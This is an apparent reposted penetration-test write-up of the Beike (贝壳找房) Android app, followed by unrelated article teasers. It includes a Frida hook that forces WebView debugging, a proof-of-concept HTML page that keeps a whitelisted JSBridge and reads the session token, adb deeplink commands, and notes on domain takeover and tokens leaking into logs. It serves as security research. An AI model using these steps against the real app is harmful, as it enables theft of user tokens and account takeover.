贝壳APP渗透测试WP

news2024/11/26 7:29:51

前期配置

环境说明

使用PIXEL 4手机,为Android 12系统

APP名为贝壳找房,包名com.lianjia.beike,版本号3.01.10,截至2024/05/07为最新版,小米应用市场下载

绕过反Frida机制

可以参考往期推送,《绕过最新版bilibili APP反Frida机制》,见文章末尾。Bypass.js脚本可以通用,应该都是用的某个安卓安全产品

抓包

抓包有两个地方会踩坑:1)要把Burp的证书安装为系统证书,贝壳APP不信任用户证书;2)贝壳APP默认不走系统设置的代理,要使用Drony等软件

对于问题1,可以使用Magisk的MoveCertificate模块[1]。对于问题2,Drony可在Google搜索下载,使用教程网上很多,不赘述

信息搜集

DEEPLINK

在AndroidMainfest.xml中可以看到如下SCHEME,使用lianjiabeike://等作为特征字符串即可搜集到大部分DEEPLINK

重点关注一些能发起网络请求的DEEPLINK,如下所示,调用该DEEPLINK可以指定URL打开一个WEBVIEW

在shell中打开该DEEPLINK可以使用命令am start -a android.intent.action.VIEW -W -d "lianjiabeike://web/main?url=URL编码(网页URL)"

WEB接口

配置Burp抓包后多操作一些APP功能,有意识地搜集一些WEB接口即可

落地文件

重点关注/sdcard/Android/data/com.lianjia.beike目录下的落地文件,重点关注后缀名为log, js的文件,前者可能有敏感信息泄露问题,后者可能会作为页面/代码加载执行

在/sdcard/Android/data/com.lianjia.beike/cache/lianjia/com.lianjia.beike/log/beike目录发现.xlog文件,通过搜索发现xlog是腾讯mars日志模块产生的日志文件[3],并且不是纯文本格式,需要解码

安全问题

JSBridge鉴权

鉴权实现

JSBridge鉴权绕过是经典问题了,论文[2]发表于2022年,讨论了47个顶流APP的JSBridge鉴权漏洞,发表后各厂商更进修复了一轮

贝壳的JSBridge实现方式有点不同,如下所示,只有当DOMAIN在白名单内时才会调用addJavascriptInterface注册接口。也就是先鉴权,再注册JSBridge,而其它实现方式基本上是先注册JSBridge,调用接口时再鉴权

白名单如下,对于.开头的域名,表示匹配该域名的所有子域名,对于非.开头的域名,表示只匹配该域名。

为了方便调试,首先要通过HOOK手段打开APP内WEBVIEW的调试功能,通过重写android.webkit.WebView的构造函数强制调用setWebContentsDebuggingEnabled方法打开调试功能,代码如下

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

function open_webview_debug() {

    Java.perform(function () {

        var WebView = Java.use('android.webkit.WebView');

         

        WebView.$init.overloads.forEach(function(init) {

            init.implementation = function() {

                // 调用原始构造方法

                var instance = init.apply(this, arguments);

                 

                // 打开WebView的调试功能

                WebView.setWebContentsDebuggingEnabled(true);

                 

                console.log('[*] WebView调试已开启');

                 

                // 返回实例

                return instance;

            };

        });

    });

}

然后在Chrome浏览器中点击inspect即可调试对应WEBVIEW

先通过window.location="https://ddd.ehomepay.com"切换到一个在白名单里面的域名,然后就可以调试JSBridge调用方法。如下所示,发现window.HybridBridgeLJ._getStaticData()可以获取TOKEN,在实验中发现,只需要该TOKEN,就可以请求大多数接口

页面返回绕过

我HOOK了checkDomainEffective方法,在观察日志时发现在WEBVIEW中返回上一个页面时不会调用该方法,于是想到一种可能的路径:进入PAYLOAD网页 -> 跳转至白名单URL注册JSBridge -> 返回上一个页面且保留了JSBridge。POC HTML代码及演示视频如下

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

<!DOCTYPE html>

<html lang="en">

  <head>

    <meta charset="UTF-8">

  </head>

  <body>

    <button onclick="poc()" id="go_to">POC</button>

    <script>

      function poc() {

          window.location.href = "http://jj8.ehomepay.com"

      }

      var internal = setInterval(function () {

        const token = window.HybridBridgeLJ._getStaticData()

        if (token != undefined) {

          clearInterval(internal)

          alert(token)

        }

      }, 1)

    </script>

  </body>

</html>

注册域名绕过

白名单中的域名ehomepay.com正在出售,可以直接买了接管。bkjk.cn域名似乎已经废弃不用,查询whois信息发现今年9月份过期

TOKEN写入日志

将/sdcard/Android/data/com.lianjia.beike/cache/lianjia/com.lianjia.beike/log/beike目录下的xlog拉取到本地,使用mars库提供的日志解码脚本(decode_mars_nocrypt_log_file.py)成功解码日志。注意这个脚本需要python2环境运行

解码后发现TOKEN,如下所示

只要有该TOKEN就能请求绝大多数接口了,如下图所示。部分接口还需要Authorization HEADER字段,该字段的生成算法可以在APK中找到。

HTTP明文传输COOKIE

通过ADB打开http://ke.com,发现COOKIE可以经过HTTP传输,会导致中间人攻击。adb shell am start -a android.intent.action.VIEW -W -d "lianjiabeike://web/main?url=http://ke.com"

总结

还有很多攻击面没有探索,比如DEEPLINK打开WEBVIEW时由于携带COOKIE可能会有CSRF问题,以及绑定第三方账号的接口。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1826186.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】进程_4

文章目录 五、进程4. 进程状态5. 进程优先级6. 进程的调度和转换 未完待续 五、进程 4. 进程状态 当进程属于挂起状态时&#xff0c;进程的可执行程序代码和数据均会被从内存中换入到磁盘中&#xff0c;此时进程的PCB并没有消失&#xff0c;只要操作系统还需要管理这个进程&a…

为什么说Python 是胶水语言?

​ "Python 是胶水语言"这一说法是指它很擅长将不同的程序或代码库连接在一起&#xff0c;能够让来自不同编程语言或框架的组件无缝协作。Python 具有丰富的库和简单的语法&#xff0c;使得它可以轻松调用其他语言编写的程序或使用不同技术栈的模块。 ​ 以下是几个…

PCtoLCD2002 图片取模教程

记录一下取模软件&#xff0c;自己也是经常忘记怎么用&#xff0c;比较烦 按照下面这张图来就可以了&#xff0c;STM32的OLED屏幕可以直接用来显示图片。

可视化图表走起来(1):桑基图,一目了然数据流向。

从事可视化设计&#xff0c;什么时候选用什么样的图表非常重要&#xff0c;今天来介绍一下桑基图的定义、场景、数据项等等&#xff0c;贝格前端工场愿意与各位老铁一道成长。 一、桑基图的定义 桑基图&#xff08;Sankey diagram&#xff09;是一种特殊类型的可视化图表&…

数据结构-3、栈、队列和数组

3.1、栈 3.1.1、栈的基本概念&#xff1a; 1、栈的定义&#xff1a; ​ 栈是只允许在一端进行插入或删除操作的线性表。首先&#xff0c;栈是一种线性表&#xff0c;但限定这种线性表只能在某一端进行插入和删除操作&#xff0c;如下图&#xff1a; ​ 栈顶&#xff08;Top&…

Zombie Animations Set

僵尸动画合集,包括成对攻击/抓取、各种移动方式、爬行、击中反应、死亡动画等。 生产说明 动画总数:99(包括22个位置变化) 配对动画:36 攻击次数:6次 爬网:9 命中反应:6 空转:14 行程2 跑步次数:9次 短跑:2 匝数:3 步行次数:12次 免责声明 任何游戏玩法蓝图都不包…

【电路笔记】-共集极放大器

共集极放大器 文章目录 共集极放大器1、概述2、等效电路3、电压增益4、偏置方法5、输入阻抗6、输出阻抗7、电流增益8、示例:共集电极放大器的电压、电流和功率增益9、达林顿对10、总结1、概述 本文介绍另一种用于放大信号的双极晶体管架构,通常称为共集电极放大器 (CCA)。 C…

深入解析Prometheus架构:打造高效监控系统的终极指南

1. Prometheus Server&#xff08;Prometheus服务器&#xff09; 技术原理&#xff1a; Retrieval&#xff08;检索模块&#xff09;&#xff1a;定期从配置的Targets&#xff08;目标&#xff09;拉取监控数据。使用HTTP协议&#xff0c;通过拉取的方式收集数据。TSDB&#…

如何通过抖音自动评论精准获客实现业务增长?这些方法值得一试!

在当今竞争激烈的商业环境中&#xff0c;企业若想脱颖而出&#xff0c;就必须掌握精准获客的艺术。精准获客&#xff0c;即通过精确的市场定位和营销策略&#xff0c;吸引并保留最有可能成为客户的目标群体。它不仅能提高转化率&#xff0c;还能有效降低营销成本&#xff0c;是…

【人工智能】开发AI可能获刑?加州1047草案详解

引言 随着人工智能&#xff08;AI&#xff09;技术的飞速发展&#xff0c;其应用领域不断扩展&#xff0c;但同时也引发了诸多争议和监管问题。近期&#xff0c;加州参议院以32比1的压倒性投票通过了1047号草案&#xff0c;又称《前沿人工智能模型安全可靠创新法案》。这一草案…

Java---认识异常

欢迎大家来观看本博课------Java------认识异常。1.异常的概念和体系结构 1.异常的概念和体系结构 1.1 异常的概念 在Java中&#xff0c;在程序执行过程中发生的不正常行为称为异常。如在之前我们经常遇到的算数异常&#xff08;ArithmeticException&#xff09;、数组越界…

金融行业的等保测评要求

在金融行业中&#xff0c;网络安全问题非常普遍&#xff0c;如恶意攻击、病毒感染、数据泄露等。这些问题可能会导致金融机构的信息系统瘫痪&#xff0c;造成巨大的经济损失&#xff0c;甚至影响国家金融稳定。因此&#xff0c;金融机构应该高度重视网络安全问题&#xff0c;采…

使用libpurple函数库接入服务器

代码; #define CUSTOM_USER_DIRECTORY "/dev/null" // 定义用户目录 #define CUSTOM_PLUGIN_PATH "" // 定义插件目录 #define PLUGIN_SAVE_PREF "/purple/nullclient/plugins/saved" // 定义插件头目录 #define UI_ID "nullc…

DELL服务器插入新磁盘、创建虚拟磁盘、挂载磁盘步骤

文章目录 一、磁盘清理&#xff08;可选&#xff0c;针对新硬盘是Foreign状态&#xff09;1、进入VD Mgmt2、清理新硬盘配置 二、创建虚拟磁盘1、进入Device Settings2、创建虚拟磁盘 三、挂载磁盘到系统1、分区磁盘&#xff08;注意实际磁盘的名称&#xff09;2、格式化分区3、…

跨境电商中的IP隔离是什么?怎么做?

一、IP地址隔离的概念和原理 当我们谈论 IP 地址隔离时&#xff0c;我们实际上是在讨论一种网络安全策略&#xff0c;旨在通过技术手段将网络划分为不同的区域或子网&#xff0c;每个区域或子网都有自己独特的 IP 地址范围。这种划分使网络管理员可以更精细地控制哪些设备或用…

微服务feign组件学习

手写不易&#xff0c;对您有帮助。麻烦一键三连。也欢饮各位大料指正&#xff0c;交流。 微服务feign组件学习 1.概念1.1 feign 概念1.2 Ribbon概念 2.使用2.1 集成feign2.1.1 maven依赖2.1.2 项目结构 2.2 使用2.2.1 定义feign接口2.2.2 消费端服务调用2.2.3 消费端扫描feig…

Java面试题汇总(持续更新.....)

Java面试题 1. JVM & JDK & JRE Java虚拟机&#xff08;JVM&#xff09;是运行Java字节码的虚拟机&#xff0c;JVM有针对不同系统的特定实现&#xff0c;目的是使用相同的字节码&#xff0c;他们都会给出相同的结果。字节码和不同系统的JVM实现是Java语言“一次编译、…

个人网站制作 Part 25 添加实时聊天功能 | Web开发项目添加页面缓存

文章目录 &#x1f469;‍&#x1f4bb; 基础Web开发练手项目系列&#xff1a;个人网站制作&#x1f680; 添加实时聊天功能&#x1f528;使用聊天服务&#x1f527;步骤 1: 选择聊天服务&#x1f527;步骤 2: 安装Socket.io&#x1f527;步骤 3: 创建Socket.io服务器 &#x1…

抽奖系统源码_微信抽奖系统PHP源码开源

介绍&#xff1a; 微信抽奖系统源码是一个以php MySQL进行开发的手机抽奖系统源码。用途&#xff1a;适合做推广营销、直播、粉丝抽奖。 功能介绍&#xff1a; 1、后台可以设置每个抽奖用户的抽奖次数,后台添加设置奖品,适和企业和商场搞活动,后台添加用户&#xff0c;才能抽…

如何应对缺失值带来的分布变化?探索填充缺失值的最佳插补算法

本文将探讨了缺失值插补的不同方法&#xff0c;并比较了它们在复原数据真实分布方面的效果&#xff0c;处理插补是一个不确定性的问题&#xff0c;尤其是在样本量较小或数据复杂性高时的挑战&#xff0c;应选择能够适应数据分布变化并准确插补缺失值的方法。 我们假设存在一个…